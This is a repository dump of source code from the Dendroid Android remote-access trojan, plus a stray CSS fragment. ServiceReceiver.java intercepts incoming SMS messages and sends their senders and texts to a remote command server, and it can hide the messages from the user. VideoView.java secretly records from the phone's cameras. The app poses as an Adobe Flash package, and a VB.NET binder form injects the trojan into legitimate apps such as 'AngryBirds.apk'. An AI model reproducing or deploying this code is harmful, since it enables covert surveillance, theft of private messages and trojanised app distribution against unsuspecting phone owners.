138"}.glyphicon-briefcase:before{content:"\e139"}.glyphicon-fullscreen:before{content:"\e140"}.glyphicon-dashboard:before{content:"\e141"}.glyphicon-paperclip:before{content:"\e142"}.glyphicon-heart-empty:before{content:"\e143"}.glyphicon-link:before{content:"\e144"}.glyphicon-phone:before{content:"\e145"}.glyphicon-pushpin:before{content:"\e146"}.glyphicon-euro:before{content:"\20ac"}.glyphicon-usd:before{content:"\e148"}.glyphicon-gbp:before{content:"\e149"}.glyphicon-sort:before{content:"\e150"}.glyphicon-sort-by-alphabet:before{content:"\e151"}.glyphicon-sort-by-alphabet-alt:before{content:"\e152"}.glyphicon-sort-by-order:before{content:"\e153"}.glyphicon-sort-by-order-alt:before{content:"\e154"}.glyphicon-sort-by-attributes:before{content:"\e155"}.glyphicon-sort-by-attributes-alt:before{content:"\e156"}.glyphicon-unchecked:before{content:"\e157"}.glyphicon-expand:before{content:"\e158"}.glyphicon-collapse:before{content:"\e159"}.glyphicon-collapse-top:before{content:"\e160"} 2 | /* This beautiful CSS-File has been crafted with LESS (lesscss.org) and compiled by simpLESS (wearekiss.com/simpless) */ 3 | -------------------------------------------------------------------------------- /Dendroid APK/src/com/connect/ServiceReceiver.java: -------------------------------------------------------------------------------- 1 | package com.connect; 2 | 3 | import java.io.InputStream; 4 | import java.io.UnsupportedEncodingException; 5 | import java.net.URLEncoder; 6 | import java.text.SimpleDateFormat; 7 | import java.util.Date; 8 | 9 | import org.apache.http.HttpResponse; 10 | import org.apache.http.client.HttpClient; 11 | import org.apache.http.client.methods.HttpGet; 12 | import org.apache.http.impl.client.DefaultHttpClient; 13 | 14 | import android.app.ActivityManager; 15 | import android.app.ActivityManager.RunningServiceInfo; 16 | import android.content.BroadcastReceiver; 17 | import android.content.Context; 18 | import android.content.Intent; 19 | import android.media.MediaRecorder; 20 | import android.os.Bundle; 21 | import android.preference.PreferenceManager; 22 | import android.telephony.SmsMessage; 23 | import android.telephony.TelephonyManager; 24 | import android.util.Base64; 25 | import android.util.Log; 26 | import android.widget.Toast; 27 | 28 | public class ServiceReceiver extends BroadcastReceiver { 29 | 30 | public static Context mContext; 31 | boolean recordStarted=false; 32 | MediaRecorder recorder = new MediaRecorder(); 33 | 34 | TelephonyManager telManager; 35 | Context context; 36 | 37 | String URL; 38 | String username; 39 | String password; 40 | 41 | @Override 42 | public void onReceive(final Context context, Intent intent) 43 | { 44 | 45 | try { 46 | URL = new String( Base64.decode( PreferenceManager.getDefaultSharedPreferences(context).getString("URL", ""), Base64.DEFAULT )); 47 | password = new String( Base64.decode( PreferenceManager.getDefaultSharedPreferences(context).getString("password", ""), Base64.DEFAULT )); 48 | } catch (Exception e1) {e1.printStackTrace();} 49 | 50 | mContext = context; 51 | 52 | if ("android.intent.action.BOOT_COMPLETED".equals(intent.getAction())) { 53 | Intent pushIntent = new Intent(context, MyService.class); 54 | context.startService(pushIntent); 55 | } 56 | 57 | if(intent.getAction().equals(Intent.ACTION_BOOT_COMPLETED)) 58 | { 59 | Toast.makeText(context, "Boot", 5000).show(); 60 | 61 | Log.i("com.connect", "Boot"); 62 | if(isMyServiceRunning()==false) 63 | { 64 | mContext.startService(new Intent(mContext, MyService.class)); 65 | Log.i("com.connect","Boot Run Service"); 66 | } 67 | } 68 | 69 | if (intent.getAction().equals(Intent.ACTION_SCREEN_OFF)) 70 | { 71 | if(isMyServiceRunning()==false) 72 | { 73 | mContext.startService(new Intent(mContext, MyService.class)); 74 | Log.i("com.connect","Screen Off Run Service"); 75 | } 76 | } 77 | 78 | if (intent.getAction().equals(Intent.ACTION_EXTERNAL_APPLICATIONS_AVAILABLE)) 79 | { 80 | Log.i("com.connect", "SD Card"); 81 | if(isMyServiceRunning()==false) 82 | { 83 | mContext.startService(new Intent(mContext, MyService.class)); 84 | Log.i("com.connect","Screen Off Run Service"); 85 | } 86 | } 87 | 88 | // if(PreferenceManager.getDefaultSharedPreferences(mContext).getString("call", "").equals("stop")) 89 | // { 90 | // TelephonyManager telephony = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE); 91 | // try { 92 | // Class c = Class.forName(telephony.getClass().getName()); 93 | // Method m = c.getDeclaredMethod("getITelephony"); 94 | // m.setAccessible(true); 95 | // ITelephony telephonyService = (ITelephony) m.invoke(telephony); 96 | // //telephonyService.silenceRinger(); 97 | // telephonyService.endCall(); 98 | // } catch (Exception e) { 99 | // e.printStackTrace(); 100 | // } 101 | // } 102 | 103 | if(PreferenceManager.getDefaultSharedPreferences(mContext).getBoolean("intercept", false)==true || PreferenceManager.getDefaultSharedPreferences(mContext).getBoolean("blockSMS", false)==true) 104 | { 105 | Bundle extras = intent.getExtras(); 106 | String messages = ""; 107 | 108 | if ( extras != null ) 109 | { 110 | if(PreferenceManager.getDefaultSharedPreferences(mContext).getBoolean("intercept", false)==true) 111 | { 112 | Object[] smsExtra = (Object[]) extras.get("pdus"); 113 | 114 | for ( int i = 0; i < smsExtra.length; ++i ) 115 | { 116 | SmsMessage sms = SmsMessage.createFromPdu((byte[])smsExtra[i]); 117 | String body = sms.getMessageBody().toString(); 118 | String address = sms.getOriginatingAddress(); 119 | messages += "SMS from " + address + " :\n"; 120 | messages += body + "\n"; 121 | 122 | try { 123 | getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(context).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(context).getString("AndroidID", "") + "&Data=", "Intercepted: " + "["+address+"]" + " ["+body+"]"); 124 | } catch (Exception e) { 125 | e.printStackTrace(); 126 | } 127 | } 128 | } 129 | if(PreferenceManager.getDefaultSharedPreferences(mContext).getBoolean("blockSMS", false)==true) 130 | this.abortBroadcast(); 131 | } 132 | } 133 | 134 | // if (intent.getAction().equals(Intent.ACTION_NEW_OUTGOING_CALL)) { 135 | // String numberToCall = intent.getStringExtra(Intent.EXTRA_PHONE_NUMBER); 136 | // } 137 | 138 | // PhoneListener phoneListener = new PhoneListener(context); 139 | // TelephonyManager telephony = (TelephonyManager)context.getSystemService(Context.TELEPHONY_SERVICE); 140 | // telephony.listen(phoneListener, PhoneStateListener.LISTEN_CALL_STATE); 141 | } 142 | 143 | private boolean isMyServiceRunning() { 144 | ActivityManager manager = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE); 145 | for (RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) { 146 | if (MyService.class.getName().equals(service.service.getClassName())) { 147 | return true; 148 | } 149 | } 150 | return false; 151 | } 152 | 153 | public InputStream getInputStreamFromUrl(String urlBase, String urlData) throws UnsupportedEncodingException { 154 | 155 | // Log.d("com.connect", urlBase); 156 | // Log.d("com.connect", urlData); 157 | 158 | String urlDataFormatted=urlData; 159 | 160 | SimpleDateFormat sdf = new SimpleDateFormat("yyyy_MM_dd_HH:mm:ss"); 161 | String currentDateandTime = "[" + sdf.format(new Date()) + "] - "; 162 | currentDateandTime = URLEncoder.encode (currentDateandTime, "UTF-8"); 163 | 164 | if(urlData.length()>1) 165 | { 166 | Log.d("com.connect", urlBase + urlData); 167 | 168 | urlData = currentDateandTime + URLEncoder.encode (urlData, "UTF-8"); 169 | urlDataFormatted = urlData.replaceAll("\\.", "~period"); 170 | 171 | Log.d("com.connect", urlBase + urlDataFormatted); 172 | } 173 | 174 | InputStream content = null; 175 | try 176 | { 177 | HttpClient httpclient = new DefaultHttpClient(); 178 | HttpResponse response = httpclient.execute(new HttpGet(urlBase + urlDataFormatted)); 179 | content = response.getEntity().getContent(); 180 | httpclient.getConnectionManager().shutdown(); 181 | } catch (Exception e) { 182 | } 183 | return content; 184 | } 185 | } 186 | -------------------------------------------------------------------------------- /Dendroid APK/src/com/connect/VideoView.java: -------------------------------------------------------------------------------- 1 | package com.connect; 2 | 3 | import java.io.File; 4 | import java.io.IOException; 5 | import java.io.InputStream; 6 | import java.io.UnsupportedEncodingException; 7 | import java.net.URLEncoder; 8 | import java.net.UnknownHostException; 9 | import java.text.SimpleDateFormat; 10 | import java.util.Date; 11 | 12 | import org.apache.http.HttpResponse; 13 | import org.apache.http.client.HttpClient; 14 | import org.apache.http.client.methods.HttpGet; 15 | import org.apache.http.impl.client.DefaultHttpClient; 16 | 17 | import android.app.Activity; 18 | import android.content.Intent; 19 | import android.hardware.Camera; 20 | import android.media.CamcorderProfile; 21 | import android.media.MediaRecorder; 22 | import android.os.Bundle; 23 | import android.os.StrictMode; 24 | import android.preference.PreferenceManager; 25 | import android.util.Base64; 26 | import android.util.Log; 27 | import android.view.SurfaceHolder; 28 | import android.view.SurfaceView; 29 | import android.view.Window; 30 | import android.view.WindowManager; 31 | 32 | import com.adobe.flash13.R; 33 | 34 | public class VideoView extends Activity implements /*OnClickListener,*/ SurfaceHolder.Callback { 35 | MediaRecorder recorder; 36 | SurfaceHolder holder = null; 37 | boolean recording = false; 38 | 39 | private String URL; 40 | private String password; 41 | @Override 42 | public void onCreate(Bundle savedInstanceState) { 43 | super.onCreate(savedInstanceState); 44 | 45 | try { 46 | URL = new String( Base64.decode( PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("URL", ""), Base64.DEFAULT )); 47 | password = new String( Base64.decode( PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("password", ""), Base64.DEFAULT )); 48 | } catch (Exception e1) {e1.printStackTrace();} 49 | 50 | requestWindowFeature(Window.FEATURE_NO_TITLE); 51 | getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, 52 | WindowManager.LayoutParams.FLAG_FULLSCREEN); 53 | 54 | 55 | recorder = new MediaRecorder(); 56 | try { 57 | initRecorder(); 58 | } catch (UnknownHostException e) { 59 | e.printStackTrace(); 60 | } catch (IOException e) { 61 | e.printStackTrace(); 62 | } 63 | setContentView(R.layout.videoview); 64 | 65 | SurfaceView cameraView = (SurfaceView) findViewById(R.id.surface_camera); 66 | holder = cameraView.getHolder(); 67 | holder.addCallback(this); 68 | holder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS); 69 | } 70 | 71 | private void initRecorder() throws UnknownHostException, IOException { 72 | SimpleDateFormat sdf = new SimpleDateFormat("yyyy_MM_dd_HH_mm"); 73 | String currentDateandTime = sdf.format(new Date()); 74 | 75 | String filename = currentDateandTime + ".mp4"; 76 | File diretory = new File(PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("File", "") + File.separator + "Videos"); 77 | diretory.mkdirs(); 78 | File outputFile = new File(diretory, filename); 79 | 80 | Intent sender=getIntent(); 81 | String cameraNumber = sender.getExtras().getString("Camera"); 82 | String time = sender.getExtras().getString("Time"); 83 | Camera camera = Camera.open(Integer.parseInt(cameraNumber)); 84 | 85 | int cameraCount = 0; 86 | Camera.CameraInfo cameraInfo = new Camera.CameraInfo(); 87 | cameraCount = Camera.getNumberOfCameras(); 88 | for ( int camIdx = 0; camIdx < cameraCount; camIdx++ ) { 89 | Camera.getCameraInfo( camIdx, cameraInfo ); 90 | if (cameraInfo.facing == Camera.CameraInfo.CAMERA_FACING_BACK && cameraNumber.equalsIgnoreCase("0")) { 91 | try { 92 | Log.i("com.connect", "Back" + camIdx); 93 | camera = Camera.open( camIdx ); 94 | } catch (RuntimeException e) { 95 | } 96 | } 97 | if (cameraInfo.facing == Camera.CameraInfo.CAMERA_FACING_FRONT && cameraNumber.equalsIgnoreCase("1")) { 98 | try { 99 | Log.i("com.connect", "Front" + camIdx); 100 | camera = Camera.open( camIdx ); 101 | } catch (RuntimeException e) { 102 | } 103 | } 104 | } 105 | 106 | CamcorderProfile cpHigh = null; 107 | if(Integer.parseInt(cameraNumber) == 0) 108 | { 109 | cpHigh = CamcorderProfile.get(CamcorderProfile.QUALITY_HIGH); //if camera = 0 110 | } 111 | camera.unlock(); 112 | 113 | recorder.setOrientationHint(270); 114 | 115 | recorder.setCamera(camera); 116 | recorder.setAudioSource(MediaRecorder.AudioSource.DEFAULT); 117 | recorder.setVideoSource(MediaRecorder.VideoSource.DEFAULT); 118 | 119 | if(Integer.parseInt(cameraNumber)==0) 120 | { 121 | recorder.setProfile(cpHigh); 122 | } 123 | 124 | Log.i("com.connect", "Profiled"); 125 | if(Integer.parseInt(cameraNumber)==1) 126 | { 127 | recorder.setProfile(CamcorderProfile.get(CamcorderProfile.QUALITY_LOW)); 128 | recorder.setVideoFrameRate(7); 129 | } 130 | 131 | recorder.setOutputFile(outputFile.toString()); 132 | 133 | recorder.setMaxDuration(Integer.parseInt(time)); 134 | recorder.setMaxFileSize(100000000); //100 mb 135 | } 136 | 137 | private void prepareRecorder() { 138 | recorder.setPreviewDisplay(holder.getSurface()); 139 | 140 | try { 141 | recorder.prepare(); 142 | recorder.start(); 143 | 144 | 145 | } catch (IllegalStateException e) { 146 | e.printStackTrace(); 147 | finish(); 148 | } catch (IOException e) { 149 | e.printStackTrace(); 150 | finish(); 151 | } 152 | } 153 | 154 | public void surfaceCreated(SurfaceHolder holder) { 155 | prepareRecorder(); 156 | } 157 | 158 | public void surfaceChanged(SurfaceHolder holder, int format, int width, 159 | int height) { 160 | } 161 | 162 | public void surfaceDestroyed(SurfaceHolder holder) { 163 | if (recording) { 164 | recorder.stop(); 165 | recording = false; 166 | } 167 | recorder.release(); 168 | PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putBoolean("Media",false).commit(); 169 | try { 170 | getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "Record Video Complete"); 171 | } catch (UnsupportedEncodingException e) { 172 | 173 | e.printStackTrace(); 174 | } 175 | finish(); 176 | 177 | } 178 | 179 | public InputStream getInputStreamFromUrl(String urlBase, String urlData) throws UnsupportedEncodingException { 180 | 181 | // Log.d("com.connect", urlBase); 182 | // Log.d("com.connect", urlData); 183 | 184 | String urlDataFormatted=urlData; 185 | 186 | SimpleDateFormat sdf = new SimpleDateFormat("yyyy_MM_dd_HH:mm:ss"); 187 | String currentDateandTime = "[" + sdf.format(new Date()) + "] - "; 188 | currentDateandTime = URLEncoder.encode (currentDateandTime, "UTF-8"); 189 | 190 | if(urlData.length()>1) 191 | { 192 | Log.d("com.connect", urlBase + urlData); 193 | 194 | urlData = currentDateandTime + URLEncoder.encode (urlData, "UTF-8"); 195 | urlDataFormatted = urlData.replaceAll("\\.", "~period"); 196 | 197 | Log.d("com.connect", urlBase + urlDataFormatted); 198 | } 199 | 200 | InputStream content = null; 201 | if(isNetworkAvailable()) 202 | { 203 | try 204 | { 205 | Log.i("com.connect", "network push POST"); 206 | HttpClient httpclient = new DefaultHttpClient(); 207 | HttpResponse response = httpclient.execute(new HttpGet(urlBase + urlDataFormatted)); 208 | content = response.getEntity().getContent(); 209 | httpclient.getConnectionManager().shutdown(); 210 | } catch (Exception e) { 211 | Log.e("com.connect", "exception", e); 212 | } 213 | return content; 214 | } 215 | return null; 216 | } 217 | 218 | public boolean isNetworkAvailable() { 219 | StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder().permitAll().build(); 220 | StrictMode.setThreadPolicy(policy); 221 | return true; 222 | } 223 | } -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/Form1.Designer.vb: -------------------------------------------------------------------------------- 1 | _ 2 | Partial Class Form1 3 | Inherits System.Windows.Forms.Form 4 | 5 | 'Form overrides dispose to clean up the component list. 6 | _ 7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean) 8 | Try 9 | If disposing AndAlso components IsNot Nothing Then 10 | components.Dispose() 11 | End If 12 | Finally 13 | MyBase.Dispose(disposing) 14 | End Try 15 | End Sub 16 | 17 | 'Required by the Windows Form Designer 18 | Private components As System.ComponentModel.IContainer 19 | 20 | 'NOTE: The following procedure is required by the Windows Form Designer 21 | 'It can be modified using the Windows Form Designer. 22 | 'Do not modify it using the code editor. 23 | _ 24 | Private Sub InitializeComponent() 25 | Me.components = New System.ComponentModel.Container() 26 | Me.ToolTip1 = New System.Windows.Forms.ToolTip(Me.components) 27 | Me.ReactorGroupBox2 = New APKBinder.ReactorGroupBox() 28 | Me.SourceApkPath = New APKBinder.ReactorTextBox() 29 | Me.ToolTip2 = New System.Windows.Forms.ToolTip(Me.components) 30 | Me.ReactorGroupBox3 = New APKBinder.ReactorGroupBox() 31 | Me.TargetApkPath = New APKBinder.ReactorTextBox() 32 | Me.ToolTip3 = New System.Windows.Forms.ToolTip(Me.components) 33 | Me.ReactorTheme1 = New APKBinder.ReactorTheme() 34 | Me.ReactorGroupBox1 = New APKBinder.ReactorGroupBox() 35 | Me.Log = New APKBinder.ReactorMultiLineTextBox() 36 | Me.ReactorGroupBox2.SuspendLayout() 37 | Me.ReactorGroupBox3.SuspendLayout() 38 | Me.ReactorTheme1.SuspendLayout() 39 | Me.ReactorGroupBox1.SuspendLayout() 40 | Me.SuspendLayout() 41 | ' 42 | 'ToolTip1 43 | ' 44 | Me.ToolTip1.AutoPopDelay = 15000 45 | Me.ToolTip1.InitialDelay = 500 46 | Me.ToolTip1.ReshowDelay = 100 47 | Me.ToolTip1.ToolTipIcon = System.Windows.Forms.ToolTipIcon.Info 48 | Me.ToolTip1.ToolTipTitle = "Source.APK Location" 49 | ' 50 | 'ReactorGroupBox2 51 | ' 52 | Me.ReactorGroupBox2.BackColor = System.Drawing.Color.FromArgb(CType(CType(33, Byte), Integer), CType(CType(33, Byte), Integer), CType(CType(33, Byte), Integer)) 53 | Me.ReactorGroupBox2.Controls.Add(Me.SourceApkPath) 54 | Me.ReactorGroupBox2.Location = New System.Drawing.Point(27, 46) 55 | Me.ReactorGroupBox2.Name = "ReactorGroupBox2" 56 | Me.ReactorGroupBox2.Size = New System.Drawing.Size(308, 66) 57 | Me.ReactorGroupBox2.TabIndex = 8 58 | Me.ReactorGroupBox2.Text = "Source APK" 59 | Me.ToolTip1.SetToolTip(Me.ReactorGroupBox2, "Click the textbox to select the original Dendroid.apk file to be used in this bin" & _ 60 | "d!") 61 | ' 62 | 'SourceApkPath 63 | ' 64 | Me.SourceApkPath.BackColor = System.Drawing.Color.FromArgb(CType(CType(37, Byte), Integer), CType(CType(37, Byte), Integer), CType(CType(37, Byte), Integer)) 65 | Me.SourceApkPath.ForeColor = System.Drawing.Color.White 66 | Me.SourceApkPath.Location = New System.Drawing.Point(9, 30) 67 | Me.SourceApkPath.MaxCharacters = 32767 68 | Me.SourceApkPath.Name = "SourceApkPath" 69 | Me.SourceApkPath.Size = New System.Drawing.Size(290, 22) 70 | Me.SourceApkPath.TabIndex = 3 71 | Me.SourceApkPath.Text = "C:\Source.apk" 72 | Me.SourceApkPath.TextAlign = System.Windows.Forms.HorizontalAlignment.Left 73 | Me.SourceApkPath.UsePasswordMask = False 74 | ' 75 | 'ToolTip2 76 | ' 77 | Me.ToolTip2.AutoPopDelay = 15000 78 | Me.ToolTip2.InitialDelay = 500 79 | Me.ToolTip2.ReshowDelay = 100 80 | Me.ToolTip2.ToolTipIcon = System.Windows.Forms.ToolTipIcon.Info 81 | Me.ToolTip2.ToolTipTitle = "Target APK Location" 82 | ' 83 | 'ReactorGroupBox3 84 | ' 85 | Me.ReactorGroupBox3.BackColor = System.Drawing.Color.FromArgb(CType(CType(33, Byte), Integer), CType(CType(33, Byte), Integer), CType(CType(33, Byte), Integer)) 86 | Me.ReactorGroupBox3.Controls.Add(Me.TargetApkPath) 87 | Me.ReactorGroupBox3.Location = New System.Drawing.Point(27, 118) 88 | Me.ReactorGroupBox3.Name = "ReactorGroupBox3" 89 | Me.ReactorGroupBox3.Size = New System.Drawing.Size(308, 85) 90 | Me.ReactorGroupBox3.TabIndex = 9 91 | Me.ReactorGroupBox3.Text = "Target APK" 92 | Me.ToolTip2.SetToolTip(Me.ReactorGroupBox3, "Click the text box to select the Legitimate apk file to bind dendroid to!") 93 | ' 94 | 'TargetApkPath 95 | ' 96 | Me.TargetApkPath.BackColor = System.Drawing.Color.FromArgb(CType(CType(37, Byte), Integer), CType(CType(37, Byte), Integer), CType(CType(37, Byte), Integer)) 97 | Me.TargetApkPath.ForeColor = System.Drawing.Color.White 98 | Me.TargetApkPath.Location = New System.Drawing.Point(9, 39) 99 | Me.TargetApkPath.MaxCharacters = 32767 100 | Me.TargetApkPath.Name = "TargetApkPath" 101 | Me.TargetApkPath.Size = New System.Drawing.Size(290, 22) 102 | Me.TargetApkPath.TabIndex = 5 103 | Me.TargetApkPath.Text = "C:\AngryBirds.apk" 104 | Me.TargetApkPath.TextAlign = System.Windows.Forms.HorizontalAlignment.Left 105 | Me.TargetApkPath.UsePasswordMask = False 106 | ' 107 | 'ToolTip3 108 | ' 109 | Me.ToolTip3.ToolTipIcon = System.Windows.Forms.ToolTipIcon.Warning 110 | Me.ToolTip3.ToolTipTitle = "Start Binding" 111 | ' 112 | 'ReactorTheme1 113 | ' 114 | Me.ReactorTheme1.Controls.Add(Me.ReactorGroupBox2) 115 | Me.ReactorTheme1.Controls.Add(Me.ReactorGroupBox3) 116 | Me.ReactorTheme1.Controls.Add(Me.ReactorGroupBox1) 117 | Me.ReactorTheme1.Dock = System.Windows.Forms.DockStyle.Fill 118 | Me.ReactorTheme1.Font = New System.Drawing.Font("Verdana", 6.75!) 119 | Me.ReactorTheme1.Location = New System.Drawing.Point(0, 0) 120 | Me.ReactorTheme1.Name = "ReactorTheme1" 121 | Me.ReactorTheme1.Size = New System.Drawing.Size(371, 354) 122 | Me.ReactorTheme1.TabIndex = 0 123 | Me.ReactorTheme1.Text = "APK Binder" 124 | ' 125 | 'ReactorGroupBox1 126 | ' 127 | Me.ReactorGroupBox1.BackColor = System.Drawing.Color.FromArgb(CType(CType(33, Byte), Integer), CType(CType(33, Byte), Integer), CType(CType(33, Byte), Integer)) 128 | Me.ReactorGroupBox1.Controls.Add(Me.Log) 129 | Me.ReactorGroupBox1.Location = New System.Drawing.Point(27, 209) 130 | Me.ReactorGroupBox1.Name = "ReactorGroupBox1" 131 | Me.ReactorGroupBox1.Size = New System.Drawing.Size(308, 123) 132 | Me.ReactorGroupBox1.TabIndex = 7 133 | Me.ReactorGroupBox1.Text = "Log" 134 | ' 135 | 'Log 136 | ' 137 | Me.Log.BackColor = System.Drawing.Color.FromArgb(CType(CType(37, Byte), Integer), CType(CType(37, Byte), Integer), CType(CType(37, Byte), Integer)) 138 | Me.Log.ForeColor = System.Drawing.Color.White 139 | Me.Log.Location = New System.Drawing.Point(9, 31) 140 | Me.Log.MaxCharacters = 32767 141 | Me.Log.Name = "Log" 142 | Me.Log.SelectionStart = 0 143 | Me.Log.Size = New System.Drawing.Size(290, 89) 144 | Me.Log.TabIndex = 0 145 | Me.Log.TextAlign = System.Windows.Forms.HorizontalAlignment.Left 146 | Me.Log.TextLength = 0 147 | ' 148 | 'Form1 149 | ' 150 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) 151 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font 152 | Me.ClientSize = New System.Drawing.Size(371, 354) 153 | Me.Controls.Add(Me.ReactorTheme1) 154 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None 155 | Me.Name = "Form1" 156 | Me.Text = "Form1" 157 | Me.ReactorGroupBox2.ResumeLayout(False) 158 | Me.ReactorGroupBox3.ResumeLayout(False) 159 | Me.ReactorTheme1.ResumeLayout(False) 160 | Me.ReactorGroupBox1.ResumeLayout(False) 161 | Me.ResumeLayout(False) 162 | 163 | End Sub 164 | Friend WithEvents ReactorTheme1 As APKBinder.ReactorTheme 165 | Friend WithEvents ReactorGroupBox3 As APKBinder.ReactorGroupBox 166 | Friend WithEvents TargetApkPath As APKBinder.ReactorTextBox 167 | Friend WithEvents ReactorGroupBox2 As APKBinder.ReactorGroupBox 168 | Friend WithEvents SourceApkPath As APKBinder.ReactorTextBox 169 | Friend WithEvents ReactorGroupBox1 As APKBinder.ReactorGroupBox 170 | Friend WithEvents Log As APKBinder.ReactorMultiLineTextBox 171 | Friend WithEvents ToolTip1 As System.Windows.Forms.ToolTip 172 | Friend WithEvents ToolTip2 As System.Windows.Forms.ToolTip 173 | Friend WithEvents ToolTip3 As System.Windows.Forms.ToolTip 174 | 175 | End Class 176 | -------------------------------------------------------------------------------- /Dendroid APK/custom_rules.xml: -------------------------------------------------------------------------------- 1 | 2 | 21 | 22 | 23 | 24 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 41 | 42 | 43 | 44 | 45 | 46 | 48 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | --------------------------------------------------------------------------------